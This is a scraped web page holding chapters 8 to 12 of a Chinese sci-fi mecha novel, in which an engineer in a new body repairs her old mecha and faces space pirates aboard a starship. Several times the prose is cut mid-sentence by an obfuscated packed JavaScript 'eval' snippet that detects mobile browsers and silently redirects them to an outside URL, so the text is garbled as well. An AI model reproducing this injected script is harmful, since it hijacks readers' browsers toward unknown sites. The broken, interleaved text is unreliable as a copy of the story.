;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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光脑助手的健康模块已经在物理小屏幕上，闪过几次静音警报了。 还好刚刚静音了。 陶影看向监控。 车晓理已经爬上恒我的驾驶舱，试图进行操作。 但出于安全考虑，机甲在运输中，是不能装载燃料的，需要启动备用电力。 监控中的车晓理此时似乎也意识到了这个问题，翻了个身，找到危险情况下备用的无燃料启动开关，这才打开了头部的驾驶舱。 但过了一会儿，车晓理面色焦急地从机体上跳下来，和大龙手脚并用地说些什么。 监控的距离太远，听不清说话的具体内容，只能从嘴的动向，大概看出“恒我”，“燃料”，“带走”几个词。 看样子是打算偷点燃料，强行把恒我开走。 这么多年过去，车研究员这莽撞性子还是没变。陶影无奈地摇头。 果然还是必须去货舱。 终于，身侧的清洁柜传来响声，两个男人拿出清洁用具，离开了。 脚步声远去，陶影从角落里站了起来。 因为蹲了太久，眼前一片漆黑，电流一样炸出一点一点的小火花，随后视线才逐渐恢复。 陶影跨过白色半透明的塑料水箱，朝货舱的方向走去。 8. 第 8 章 前往货舱的通道长而狭窄。星舰方为了节省费用，并没有设置引力。 陶影半漂浮在空中，拉住侧面的助力履带，向前飞动。 柏氏工业在货舱附近安排了巡视人员，但人数并不算多，大概是不想太显眼。 有监控的帮助规划路线，陶影很快就到达了货舱门前。 货舱附近又重新设置了引力，陶影感觉身体逐渐变重，脚踩在地上，恢复的重力一时压得她喘不过气来。 门开着一个小小的缝隙，她侧身进去，来到恒我面前。 黑色的机体单膝跪地，头部离地依然有二十米左右。陶影在货舱里绕了一圈，找到用于高处设备检修的电动升降梯。 简易的电动升降梯搭载着陶影，缓缓上升。 恒我的燃料舱在机体腹部，燃料盖有被撬开的痕迹，车晓理他们大概是去找燃料了。 货梯继续上升，来到头部。 后颈处是一个小型通道，通往驾驶舱，陶影用手扶着舱门钻了进去。 出于装甲强度的考虑，恒我没有设置透明视窗，而是用摄像装置代替了外界的视觉信息获取。所以内部比较昏暗。 但陶影走得很顺畅。 毕竟恒我的驾驶舱部分，完全由她设计。她对里面的每个部件都一清二楚。 舱内被擦得很干净，那场火应该没有烧毁驾驶舱内部的线路。 但……驾驶面板上大概多了一百来个圆形按钮。因为已经通电，透明材质的按钮上透出白色的底光。 什么东西？ 谁在驾驶舱加了这么多半机械按钮？ 陶影不知道该用什么语言来形容她现在的心情，惊讶还是惊恐。 但总之她拳头硬了。 谁看到自己的设计被改成这副样子还能无动于衷。不用抬起手腕，都知道光脑的健康模块肯定又在报警了。 陶影拳头松了又紧，紧了又松，来来回回几次后，她按住眼睛，不忍再看。 这种没有智能的半机械式按钮，怎么能放在先端战斗型机甲的身上，几乎会立刻被敌方机体分析出战斗模式，是嫌机师死得不够快吗？ 恒我是靠精神力操作的，怎么会改成这样。 陶影抓抓头发，显然已经陷入了工作状态，如果是在莱机所的时候，喝杯咖啡兴许能让她精神正常一点，但这里根本没有。 柏氏工业那帮破工程师，最好给她一个合理的修改理由。 光脑屏幕疯狂闪烁，健康模块又开始报警了，陶影熟视无睹，或者说她现在根本没心情确认这个，她操纵着摇杆，在系统中一个个确认按钮的使用。 前进，后退，加强防护罩，弹出驾驶舱，武器抬起…… 都是基础得不能再基础的功能，简直像是为第一次坐进机甲模拟舱的小朋友设计的按钮。 陶影抽动着嘴角，点开机体的数百次调试日志，开始翻看。 几分钟后，才逐渐理解这是怎么回事。 恒我的精神力模块无法启动。 为了让恒我投入使用，柏氏被迫对驾驶舱进行了机械改造，试图以更为普通的机械驾驶方式，让它先动起来。 但在改造后，机师操作机械按钮时，恒我的精神力模块却又活跃了起来，阻拦了驾驶舱的信号传输。 用上一位工程师的话来说，“就好像……就好像机体拥有了自己的思想一样，它不希望被人驾驶”。 怎么会这样？ 在莱机所测试的时候，分明可以正常启动，难道是她留给柏氏工程师的数据出现了问题？ 不可能啊。 陶影习惯性地将手放到掌纹识别的平板处，试图再运行一次测试。 恒我的系统中应该还留存有她的生物数据—— 等陶影将手放上去的瞬间，才想起这又不是她原来的身体，怎么可能识别得出来。 她正打算收回手，但就在那个瞬间，机体内似乎微弱地“滴”了一声，随后，脚下的机体开始抖动。 很快，整个机体都震动起来。 …… 陶影疑惑地收回手掌，正在思考自己的身体情况是不是已经差到开始产生幻觉，驾驶舱外，星舰广播系统中传来温柔的女声。 【本次星舰已经安全通过423跃迁点，即将抵达昌河星港口，要在本站下船的旅客，请提前做好准备，确认好您的随身物品。再次提醒，本次星舰即将抵达昌河星港口……】 原来刚才那阵震动是因为跃迁。 陶影再次低下头，将手掌放在识别处，果然，精神力模块没有任何反应。 陶影思考得入神，半蹲下身，爬进驾驶舱底部，拉出手臂粗的电缆，打算再检测一下精神力模块。 驾驶舱某处突然传来撞击声。 她往前伸出上半身，角落里两个柏氏工业的安保人员被五花大绑，嘴被封住，正睁大了眼睛看着她。 与此同时，陶影的后脑勺突然顶上一个铁块。 “别动。安保人员。” · 陶影蹲在原地，脚有点麻。 不要误会，她不是紧张，也不是害怕，所以蹲在原地没动。 就是脑子突然有点混乱。 说实话，现在遇到的这两个人，完全没有害怕的必要。 她轻轻放下手中的电脑，配合地举起双手，示意自己不打算做什么，“安保人员”见她这么配合，反倒手足无措：“不是让你别动！” “要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585888|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起手，才能确定我没有携带武器啊，女士，你们星舰安保人员都不培训的吗。” “哪来这么多废话，快下去，这里是你来的地方吗？” “哦。” 陶影举着双手转过身，就看见车晓理心虚地把扳手藏到身后。 还拿扳手装枪骗人，长本事了。 装也不装像点，你这比起星舰上的安保人员，更像是机甲修理工。 但她不得不承认，实际见到莱机所同事的心情，比想象的还要好。 白色纱布手套，满是棕色污渍，身上还有拂瓦机油的味道。 十年过去，两位同事还是一点没变。 拂瓦机油产自拂瓦星，是恒我可以使用的能源之一。 陶影眯眼：“看来你们找到恒我的燃料了？” “什，什么燃料？” 车晓理太过紧张，险些咬到舌头。 她和大龙刚去找燃料，撞上两个柏氏工业的安保人员，只能把人给绑了，换上他们的衣服，出门弄完燃料，一进来看见地上蹲了个人，吓了一跳。 还以为被安保发现了，正想着该怎么办，但看到蹲在地上的是个十五六岁的女孩后松了口气。——大概是小孩子来货舱乱转，恰巧发现了恒我机甲，好奇爬上来看看。 车晓理当即决定装作柏氏的安保，把这个小孩吓走了事。 但现在她一颗心又提了起来。 这小女孩刚刚说什么？“你们找到恒我的燃料了？” 她怎么会知道她跟大龙在找恒我的燃料？ “是不是想问我，为什么会知道你们的计划？” 见对方眼神中带了一丝防备，陶影耸耸肩：“不用紧张，我和你们的目的相同。” 陶影转过手中的便携电脑，屏幕上显示的是现在货舱的监控。 陶影将刚才他们在这里转悠的监控视频放了一遍，边放边解释：“没人告诉过你们，干坏事的时候要先注意周边坏境吗？要不是我处理了货舱的监控，现在你俩已经被关到小黑屋了。” “你为什么要帮我们？” “刚才说过了，我不是帮你们，只是正好和你们目的相同而已。” “目的相同？” “对啊，你们也是来阻止恒我被销毁的吧？”陶影装作好奇地问。 车哓理：“……” 呵呵，小小年纪，还会套话。 她转过陶影手中的便携电脑，关上盖子。 “大人的事情小孩子少打听。” 说到这儿，车晓理朝大龙使了个眼色。 片刻后，陶影也被堵住嘴绑在了角落里。 两名安保大姐朝她投来同情的眼神。 陶影：“……” 9. 第 9 章 车晓理和大龙俩人在操作台前一通捣鼓。 陶影挣扎了两下，绳子绑得太紧，根本挣脱不开，她干脆放弃，坐在那里干看。 她太了解自己这两位祖宗……不是，同事了，不用思考都知道他们偷走恒我的合谋能是什么结果。 车晓理是搞硬件的，驾驶舱那些操作她一窍不通。大龙软硬结合，但两边都不太精通。 他们的计划大概是在昌河星附近把恒我开走，然后跃迁至附近的星系。 昌河星在第三星系最偏远的星域，缺乏警力，星舰会在那里停靠十五分钟左右。 按照常理来说，的确是带走恒我最合适的地方。 但车晓理他们不知道，恒我的精神力模块出了问题，不能启动。 要把一个不能动的巨大铁块运送出去，几乎是不可能完成的事。 果然，车晓理手忙脚乱操作半天，恒我愣是一动不动。 十五分钟后，星舰驶离昌河星港口。 而恒我依然稳稳呆在星舰的货舱里。 “啊啊！” 车晓理抓乱了头发，就差在操作台上撞头了。 “怎么办？恒我为什么启动不了？它不爱我了吗！” “它本来就不爱你，”大龙冷静地吐槽，“现在怎么办？机体似乎不是因为缺乏燃料才启动不了的。昌河星是警力最稀薄的地方，错过这里之后要运走恒我就更难了。” “你问我我问谁啊！我又不是老大，真不会弄它这破系统。要不你现在通个灵把老大叫出来？” “我不会通灵。” 陶影：“……” 早说过让这两人少看点星火科学系列节目。 “没办法了。也许恒我注定在今天销毁吧。我们尽力了。” 车晓理打算放弃，转头一看，角落里两位大姐&一位小姑娘还绑得严严实实，她思考了一会儿，蹲到他们三个面前。 她先是朝那两个安保大姐说话。 “今天在这里的事情，就当没有发生过。如果被上头的人知道，你们被两个外行人绑起来，对你们也没有什么好处，对吧。” 车晓理虽然这么说，但也没有解开她们的绳子。见两位安保大姐并没有表示，而是狠狠瞪着她，往后缩了缩。 “早听说柏氏的风格是一根筋，没想到连手下的保安都这样。” 她思考片刻后，解开陶影身上的绳子。 陶影开口第一句是： “这样就放弃了？” “那不然还有其它办法可以……我跟你说这些干什么。” 车晓理上下打量了陶影一下。 “你是学生吧？去莱门上学的？” 陶影点点头：“莱门大学。” “还是学妹呢，看上去脑子确实还行。” 车研究员敲敲陶影的脑门。 “学妹，不要站着说话不腰疼，我们还能怎么办。有些事情解决不了就是解决不了。” “唉，以前在莱机所的时候，遇到解决不了的bug就丢给老大，她总能拿出一套解决办法，也不知道是怎么做到的。” “大概是老大的神秘魔法吧。” 如果加班也算魔法那大概就是吧。 归来十年，祖宗依旧是祖宗。 陶影无奈地解开身上的绳子，感觉呼吸都顺畅了几分，这才有力气跟车晓理商讨办法。 “我有办法，但需要你的协助。” 车晓理不大相信她说的“有办法”，但这会儿也只能死马当活马医了。 她道：“协助什么？” “帮我把电脑拿来先。” 车晓理嘟囔着嘴：“小小年纪就会使唤学姐了，不就在那儿吗，现在的学妹真是……” 车晓理话还没说完，就见陶影歪过头，露出自己腕式光脑的界面，心率已经低到让人恐怖的程度。 谁家好人静息心率35啊？！ 驾驶舱里光线不强，先前她也并没有仔细看陶影的脸色，现在才发现简直一片惨白。 “我的天，你这心率低得都快见我太奶了，”车晓理差点没跳起来，“不会是我刚刚敲你脑门敲的吧？！” “天生的。” “天生的？你这个体质是怎么考上莱门大学的？” 车晓理嘴里碎碎念，手上没停，迅速把陶影搬到透气一点的地方。 “你身体不好怎么不说！” 陶影拿起刚刚塞她嘴里的手套，甩了一下，挑眉道： “你们手脚那么快，直接把我嘴堵了，我有机会说？” 监控监控不知道关，绑架人你俩倒是挺熟练。 直到两位研究员都心虚地转过头，陶影才把堵她嘴的手套扔到车晓理怀里。 陶影没有继续纠结这一点，毕竟不是干这个的时候，她接过车晓理递过来的电脑，接上精神力模块。 一番操作非常熟练，就好像干过无数次这种事，把两位莱机所研究员看得一愣一愣的。 车晓理小声道：“她好像是来真的。” 大龙不知道车晓理为什么要突然小声说话，但这么安静的场合，他也忍不住自然地压低了声音：“可能她以前参与过类似的机甲项目。” “这个年纪？！我十五岁的时候还在墙上乱涂乱画，被请家长呢！” “这是你的问题。”“喂。” 陶影无视他们毫无紧张感的小声对话，把话题拉回正轨。 “你们知道柏氏工业为什么要销毁恒我吗？” “谁知道。” 车晓理说到这个就生气。 “当初柏氏工业百般保证，说一定会让恒我重见天日，我才把机体托付给他们，哪知道现在他们竟然要把恒我销毁！” 陶影点点头。 “可以理解你的心情，但柏氏大概没有说谎，这些年他们在恒我的事情上投入了不少，能拖到今年才销毁，已经不错了。” “什么意思？” “柏氏内部有一条规矩，机甲制造完成后，如果多年无法投入使用，就必须销毁，”陶影的手扫过一行按钮，随口道，“大概十年吧。” “你的意思是，等等，恒我是因为无法启动才会面临销毁的？” “是。” “怎么会无法启动呢，它之前不是还好好的？都已经差不多调试完成。那场大火烧坏的零件，以柏氏的技术，更换完全不是问题啊！” 陶影手顿了一瞬，调出工程师日志的界面，又给他们解释了一遍。 “具体情况我还没有仔细研究，但根据调试日志，恒我在硬件上已经修改过无数次，柏氏的研究员怀疑会不会是系统层面的问题……” “那完了，”车晓理烦躁地抓抓头发，“系统这方面都是老大负责的，我不行。大龙你呢？” “我只了解一些基本的概念，操作不了。” “那现在怎么办，你刚刚不是说你有办法吗。” 车研究员摊着手，脑子已经半离开这个世界。一副你快想点办法的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585889|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情看向陶影。 陶影此刻靠在墙边，电脑屏幕的光在她眼中投下一块浅蓝色的光亮。屏幕上的数据还在不断改变，她的眼球左右移动，专心地研究着数据。 系统内部调试通过，并没有问题，柏氏工业在系统上没有大改，只在她当年的数据上做了微弱的调整——这是为了契合更换上的新零件。 柏氏工业虽说系统方面比较薄弱，但代码风格是稳重的。 陶影对照着硬件数据，重点关注了修改过的零件数据。 ……嗯？ “车晓理，你记得第一能源核心的尺寸吗？” “呃，啊？728.22mm？” “型号？” “GWEI4532。” “错了。” 车研究员跳起来：“什么，我怎么可能记错？恒我的每个硬件数据我都记得清清楚楚！” “系统内的数据有问题。零件换成了GWEI4632。” “啊……”车晓理眉头都快皱烂了，“4532已经停产了，现在用4632替代，我记得尺寸是没有变的，似乎是材料换成了强度更高的T6金属，这个应该没什么影响吧？” “有，”陶影叹气，“外观上虽然看不出来，但核心兼容性不一样。4632和恒我的精神力模块又冲突，并不适合在知觉机甲上使用。” 柏氏工业的工程师大概漏掉了这点。 “那这要怎么办？” 陶影摊手：“燃料就算了，我猜在星舰上大概找不到能源核心这种刁钻的零件吧？” “你猜得很对，这东西星网订购都得一个月到货。” 陶影撑着墙壁站起身，来到操作屏幕前。 “那就没办法了，先关闭它的第一核心，绕行数据，使用其它三颗核心试试。” 车晓理转过头敲了敲大龙的肱二头肌，小声道：“恒我有四颗能源核心，每颗都能单独使用，说不定可行？” 大龙摇头：“没你想的那么简单，恒我如果要用单颗核心启动，对机师的精神力要求非常高，就算真的写出绕行程序，解决了兼容性问题，以我们在场三个人的精神力，也没办法启动恒我吧。” 这种情况，恒我的精神力驾驶要求是A级——但也不绝对。 陶影食指在光脑上敲了敲。 “最低程度的核心启动，只需要B级精神力，你们留下启动记录就可以了。接下来的事情，柏氏工业那边的研究员会看着办。” 车晓理狐疑道：“核心启动？有这个东西来着？你确定可以？” “这是机甲工程师的常识。” 思考片刻后，两位莱机所前研究员肯定了这个方案的可行性。 所以现在只要等“学妹”写好绕行程序，恒我就不会被销毁了，今天的事情就算是圆满完成？ 太顺利了，简直像老大的在天之灵在暗中保佑他们。 车研究员浑然不知他们的老大此刻就坐在旁边，正在感慨真是天助她也。 大龙肩膀微微绷紧，神色依旧很严肃，他一手撑在操作台上，研究陶影的程序。 她的代码风格非常……成熟简练。 没有任何问题。 大龙沉默了会儿，看了一眼陶影的腕式光脑，上面显示的心率像过山车一样，他小声问道：“绕行程序写完大概还要多久？柏氏的安保快要巡逻过来了，需不需要我们去引开？” 陶影微微一笑。 “不用，很快就结束了。” 10. 第 10 章 柏氏工业大楼顶部。 小型穿梭舰平稳地降落在预定的停机坪上，驾驶舱中疾步走出一个人，周围的员工齐刷刷弯腰鞠躬。 “柏小姐！”人群的呼唤带着尊敬。 柏墨微微点头示意，没有多说，她迈步走进自己的居所，本来准备直接回卧室，却在路过游戏舱时停下脚步。看到有个眼熟的人在那里悠闲玩游戏，她走过去，一把将文件拍到人胸口。 “下手这么黑，谁又惹你了？”尹子航捂住胸口，摘下眼镜。一看柏墨的表情，就知道她今天心情不怎么好，尹子航咽下后面的话，皱着脸接过文件，“这什么东西？” “计算数据。” “计算数据？”他翻开文件第二页，看到第一行恍然大悟，“哦，前两天错题那事儿啊。” 前两天尹子航在考生论坛刷到一个帖子，质疑联考试题出错，他发现答案确实有错，就顺口帮帖主解释了两句，谁知道竟然没人信。 他好胜心一上来——就给柏墨发了个消息。联考第二说的话不信，那联考第一呢？ 尹子航摸摸鼻子。“不过你平时都不关心这种事，我还以为你不会回我消息来着。” “那个帖主知觉机甲科的分数是第一，我就多看了一眼。” “哦，是是是，当然，您当然是因为她分数第一才舍得屈尊回我消息……” 尹子航说到一半，突然察觉到有什么不对。 “什么，你是说她分数比你还高？！” “对，只是她的综合科目考砸了，和你差不多，不然她的总分比我高。” 尹子航瞠目结舌。 和他差不多算考砸了什么意思？他可是联考第二啊！ 落地窗前突然传来警报声，柏墨的神色一变，快步走到桌前。 屏幕上，端坐在办公桌前的研究员朝她点头示意，随后开始报告异常情况。 “柏小姐，刚刚识别到恒我的运行信息。” “运行？不可能。为了运输安全，恒我的燃料都被清空了。” “运行者使用了备用的电力系统。” “！” 柏墨按在椅背上的手蓦地收紧，抿着唇，倾身向前。 “普通人不可能打开恒我的备用电力系统。有没有可能是弄错信号了？” “不，信号来自第三星系，非常清晰，不可能错判。而且……” 研究员有些欲言又止，似乎他自己也不太相信他即将说的话。 “而且恒我的精神力模块，对运行者有反应，她极有可能就是我们在寻找的‘解锁者’。” “……” 柏墨的双手按在桌子上。什么也没说，但样子明显是受到了冲击。 一边的尹子航有些担心地凑过来。 “没事吧？” 柏墨吐了一口气，冷静下来，但在桌上微微颤动的手还是暴露了她现在的情绪。 “没事。” 一定得找到这名机师！ 这些年恒我一直无法启动，它的精神力核心似乎出现了问题，时不时会传输出一串字母——【S-P-I-R-A-L】。 这串字母在星际语中没有特定的含义，大家只当是一串错误代码，但在查询陶影留下的开发手册后，却发现并非如此。 【SPIRAL】是人类古老语言中的某个单词。 星际语中，意为“解锁者”。 研究员推测，恒我在火灾的时候，出于自我保护，锁定了驾驶权限，需要特定对象才能启动。 但这么多年来，柏氏工业找遍整个星际，都没能找到这位“解锁者”。 而现在，在恒我即将销毁的前一天，她竟然出现了。 “恒我现在在哪儿？” “还在星舰上。” “继续观察情况。第三星系附近的研究员，让他们马上停止手上的工作，确保解锁者的位置。” “明白。” “和解锁者还没有联系上吗？” 见对面的研究员有些欲言又止，柏墨心中浮现一抹不安，她直起身询问。 “怎么了？” “这个，不知道为什么，本来已经成功建立通讯连接，但运输舰的联络信号突然中断。我尝试和调度中心联系，得知星舰在第三星系航段偏离了航道。” “调度中心声称是临时整备，但看情况不像，他们偏离航道的地方，并不在通信盲区。” 柏墨手撑在座椅上，面色没什么变化，但握紧的手指透露了她的焦急。 “说结论。” 研究员语气中带着明显的担忧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“喂，怎么回事，快点恢复网络，小心我投诉你们！” 11. 第 11 章 敲完能源系统绕行的最后一行代码，恒我开始运行自动测试。 陶影干脆趁着这个测试时间，躺在椅子上闭目养神。 大量的脑力劳动对体力的消耗不小，自从上了这艘星舰陶影就没有休息过。 太累了。 正想着到莱门市之后的安排，陶影背后突然有点凉，打了个喷嚏。 货舱里的温度降低了，似乎是温度调节系统出现了问题。但陶影检查了几分钟，并没有发现什么异常。 系统都在正常工作。 难道是舰体的哪个部分出现了气体泄露？ 正要继续排查，恒我的消息界面突然发出急促的滴滴提示声。 陶影点开一看，是来自柏氏工业的通信。 那边已经联网查询到她对恒我的系统更改，想要和她进行通话。 陶影抬手，正要点开通信界面，但在她按下接通前，代表联通的小绿点，突然毫无征兆地变红。 【警告，警告，失去信号连接，请SPIRAL尽快重新连接网络。】 ……？ 什么时候自动登录的账号。最高权限账号应该叫ROOT才对。 SPIRAL又是什么？ 还没来得及反应，“轰隆”一声巨响，星舰传来巨大的震动。 陶影勉强稳住身形，紧接着又是第二场震动。震动传遍全身，直接把陶影甩下椅子，周围两位研究员勉强扒拉住椅子，才没摔倒。 震动大约持续了十秒，逐渐停止下来。 陶影滑坐在地，被捞回椅子上，背上突然压上点重量。 扯了扯，一件满是机油味的外套披在肩上，不用想也知道是谁的。 她回头，只见车研究员拍拍她的背，似乎是在安抚她这位“初次乘坐星舰的学妹”，不要因为震动而害怕。 …… 信号中断，莫名出现系统问题，再加上这场不太正确的震动。 难道是星盗？ 陶影在便携电脑上调出监控。 “你们刚才有发现什么不对吗？我太专心了，没注意外界的情况。” “你不会以为是星盗吧？”车晓理轻拍“学妹”的脑袋，靠了过来。 “星舰在运行过程中产生这种水平的颠簸是很正常的事情。至于没有信号，因为附近是无信号区域。而且在你刚刚闭着眼睛的时候也震动过两次。” “总之不用太担心啦，这艘星舰一看就没什么油水可捞，不可能是星盗的。” 陶影叹了口气，靠着座椅的扶手上，把额前汗湿的头发往耳后顺了一下。 “那这个呢？” 陶影手指着监控器的一个角落。 那里是广播室。 只见门口站着两个人，身穿皮革外套，腰间挎着子弹。 他们一把将广播员撂倒在地，狠狠殴打。 广播员发出撕心裂肺的惨叫声。 “还有这个呢？” 本来应该有人的保安室，此刻空无一人，地上明显有着拖行的血迹。 “这个呢？” 监控一路沿着血迹的动向，追踪到清洁间，里面已经有好几个穿着安保制服的人被打倒在地。 几名五大三粗的星盗身背武器，正在聊天。 陶影看着自家那不成器的同事，好像什么都没说，又好像什么都说了。 信息过载的车研究员：“……” 真是星盗啊！ 车晓理呆滞一瞬间，猛地跳了起来。 “不对！不是，他们究竟怎么上来的！” 安保大姐没好气道：“还能怎么上来的？多半是之前就藏在乘客里，等临近无信号区，就接应他们外面的同伴上舰。” 所以刚刚那声来自头顶的巨大震动，其实是星盗小型星舰撞击？ “这星盗得是有多想不开啊，这破星舰，偏远星系启航的，能有几个值钱的货物，还抢。” “恒我应该还挺值钱的。” 陶影沉静地看着屏幕，不知道在想什么。 “你是说他们特地来抢恒我的？恒我难道不是秘密运输的吗？” 安保大姐满脸疑惑，也不理解：“运输全程保密，机甲是作为普通机甲运送的，我们还特地选了这艘不起眼的星舰，就是担心星盗。不知道他们从哪里得到的消息。” “等下，你看监控！客舱也失守了！” 屏幕上，五六名星盗大剌剌切开客舱的门，举着电磁枪就冲了进来，一时间哀嚎遍地。 客舱的乘客们根本不是全副武装的星盗对手，全被乖乖控制在座位上。 “这怎么办？能联络调度中心吗？” “联系不上，没信号。星舰内部倒是可以通过有线通道联络，但是——联系上了也没有什么用处。” 保安室没人，广播室没人，驾驶舱也被控制。 可以说这帮星盗手法熟练，在所有人都还没有反应过来的情况下，直接控制了星舰上所有人员威胁。 非要说，现在在场最靠谱的武力，只有那两位安保大姐。 …… 还是被绑起来的。 真是叫天天不应叫地地不灵。 车晓理手搓着脸：“希望老大的在天之灵保佑我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不知道什么情况，是柏小姐临时派来的人。” 那恐怕和刚才那道通讯有关。陶影思索片刻，点点头。 “那行，我们这边也有六个人。” “哪有六个？不就我们三个？” “客舱还有三个小朋友呢。” 陶影微笑着指向屏幕。 靠窗的座位边，三名学生手里捏着迷你麻将，正面对星盗瑟瑟发抖。 “总之先把客舱的问题解决了吧。” “免得吓哭小朋友。” 12. 第 12 章 客舱内的劫掠终于结束，星盗头领正在通过对讲机和其它同伴联络。 柏氏工业的研究员——老梁的手轻扶在紧急通讯器上。 他本来在昌河星出差，要帮助这边的机甲队做检修，谁知道刚下飞船，就收到总部的临时联络。 而且是柏小姐的直接联络。 他一个分部的小研究员，这辈子都没想过能有机会接触到柏氏工业的核心上级。老梁接到电话的时候，差点把通讯器给摔了。 柏小姐没有多说，只命令他上这艘星舰，辅助能启动恒我的机师进行驾驶。 说来话长，星舰上原本已经没有座位了，他和下属程岩，是逃票上来的。 程岩是个技术还不错的二级机师。这人驾驶技术其实挺好的，完全有一级水平，就是事故体质，走哪儿哪儿出事。 现在！果然！就遇上！星盗了！ 据他和程岩刚刚的打探，现在星盗们在全舰搜寻的那个人，叫做白颖，就是他们在找的“解锁者”。 也是目前唯一能启动恒我的人。 解锁者此刻应该在货舱，和恒我在一起。 可现在前往货舱的唯一一条路被守着，他们要怎么才能去那儿？ 一边的程岩小声道：“没关系，去不了的话，我们可以想办法跟恒我的通讯模块建立连接。” “说得那么简单程岩，我再听你的话，我就是狗！” 十分钟后，完全没有其它办法的老梁，一边自言自语“行吧，我就是狗”，一边尝试了一百多条无线线路，最终在程岩玩耍椅背上的紧急通讯线路的时候，老梁灵机一动，一把扯过来。 他小心翼翼地摸索着通讯模块。 “你好？我们是柏氏工业的员工。现在星舰上的情况有些复杂，我们需要你的帮助。” 紧急通讯线路那头传来滋滋的电流声，就当老梁以为联络不上的时候，耳机突然传来女声。 【收到，请说明情况。】 声音听上去年纪不大，解锁者是一名年轻女性？ 老梁按下心中的讶异，先简单解释了一下他们的身份，然后又说明了他们的目的。 “我们收到柏墨小姐的命令，来辅助你启动恒我。” 那头传来嗡嗡的声音，似乎是什么机械转动的声音。随后是女生一句低声的“原来如此”。 “我大概明白你们的身份了，客舱情况如何，星盗有什么异常动作吗？” “目前暂时没有动作，他们在找你。” “找我？”女声有些疑惑。 “他们手上似乎拿着一张名单之类的东西，在一个个清点人数，你的座位上没有人。” 那头似乎传来几个人的商量声，过了一会儿，女声回复他。 “明白了，你先不要轻举妄动，不要把手放在耳边，减小说话音量。” 老梁赶忙把手放到大腿上。 放下后才突然反应过来，不对啊，解锁者怎么知道他现在的动作，她不是在货舱吗？ 老梁奇怪地往四周看了看，没有什么奇怪的视线。 难道是巧合？ 他问：“你怎么知道我的手按着耳机？” “我骇入了星舰的控制系统。” “嗯。” “……啊？” 老梁疑惑，等反应过来对方说了什么，老梁震惊。 这可是星舰的控制系统，二级防火墙啊！哪是她一句轻轻松松的“我骇入了”就可以解释的？程岩说“今天食堂午饭有红烧排骨”的语气，都比她激动。 女声似乎是轻笑了一下，缓和道：“你的表情太明显了，镇定一点，角落有星盗注意到你了。” “哦，他朝你走过来了。” 老梁抬头一看，果然有个腰间挂着一串子弹，手里抬着冲锋枪的星盗朝他们慢悠悠走了过来。 怎，怎么办？ “随便自言自语两句糊弄过去吧。”解锁者没什么紧张感地提了个小建议。 老梁汗流浃背，脑子里一片空白，五十多年的人生经验，此刻一个都派不上用场。 身边的程岩反应很快，拉过他的衣领，把头转向自己的方向， 几年的同事情谊，让老梁迅速反应过来程岩的意图。他踹程岩一脚，提高声音，假装和他吵架。 两个人骂成一团。 星盗被他们吵架的声音吸引，眉头一挑看了会儿热闹，但很快就对这场闹剧不耐烦了，手里的枪抬了抬，朝他们昂起下巴。 “坐下，不然我看看是你们的腿骨硬还是我的子弹硬。” 星盗把枪口顶到了老梁的脑门上。老梁吞了一口口水，举着双手，缓缓坐下。 那星盗见他们怂了，嗤笑一声，用冲锋枪在他们两个面前威胁性地晃了晃，随后蹬着皮靴走开。 一直等到星盗重新回到客舱入口处，和同伴开始交谈，没有再注意他们这边，老梁才长舒了一口气。汗水流进眼睛里，刺得他发痛，他用袖子擦了擦。 两只手还在微微颤抖，指尖因为太过紧张，一直麻到了掌心。 还好糊弄过去了，刚刚这一通演戏，他起码减了十年的寿命。 耳机又传来声音。 “反应不错，下次继续发挥。” “没有下次了。”老梁后怕。 解锁者觉得很有趣似的笑了两声。 “好，现在你往后看看，14H位置附近，有没有看见帝国第一军校的学生？” 老梁将椅背往下调了一点，微微侧过头，随后又转了回来。 那个位置有四名高大的学生，胸口挂着鹰爪的徽章，很明显，就是解锁者指的人。 “看见了，四名。” “好。他们会负责后排的安全。4C、17D、28F、36A，这四个位置是你们柏氏工业内部的安保人员，我刚才已经和他们分别建立了联络，他们会配合保护客舱的安全。” 老梁抬头，分别确认了一下。果然，四名安保人员朝他点头致意。 四个位置分布在客舱的不同区域，有两个靠走道的位置，也有后侧适合观察乘客全局的位置。 “程岩，你刚刚说，你是二级机师对吧？” “是的。” 